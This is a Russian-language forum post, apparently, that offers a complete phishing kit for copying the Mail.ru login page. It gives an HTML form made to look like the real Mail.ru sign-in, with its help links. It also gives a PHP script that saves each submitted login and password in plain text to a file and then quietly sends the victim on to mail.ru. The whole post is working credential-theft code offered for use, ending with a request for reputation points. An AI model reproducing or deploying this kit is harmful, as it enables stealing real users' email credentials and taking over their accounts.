форма
<form method="post" action="locallhost\log.php" name="auth_form">
<table border="0" cellpadding="5" cellspacing="0" width="100%">
<tbody><tr valign="top">
<td class="txt" align="left" width="22%">Ваш логин:</td>
<td width="230"><table border="0" cellpadding="0" cellspacing="0" width="230"><tbody><tr><td width="100%"><input name="login" value="" size="10" tabindex="1" style="width: 100%;" type="text"></td><td valign="top"> <span class="txt"></span></td></tr></tbody></table></td>
<td rowspan="3" width="5%"></td>
<td rowspan="2" align="left">
<div class="ttl_small">Нет имени?</div>
<div class="txt"><a href="http://www.mail.ru">Выберите имя</a> прямо сейчас!</div>
</td>
</tr>
<tr valign="top">
<td class="txt">Пароль:</td>
<td><input name="passw" value="" size="20" tabindex="1" style="width: 100%;" type="password">
<div class="comm" align="right"><a href="http://www.mail.ru/pages/help/92.html">Забыли пароль?</a></div></td>
</tr>
<tr valign="top">
<td></td>
<td align="left"><input value=" Войти " tabindex="5" type="submit"></td></tr>
</tbody></table>
</form>
log.php
<?php
$Login = $_POST['login'];
$Passw = $_POST['passw'];
$fp = fopen("base.txt","a+");
fwrite($fp,"$Login:$Passw\n");
fclose($fp);
header("Location: http://mail.ru/");
echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=\"url куда посылаем юзверя">";
?>
PS если помог-незабудьте про +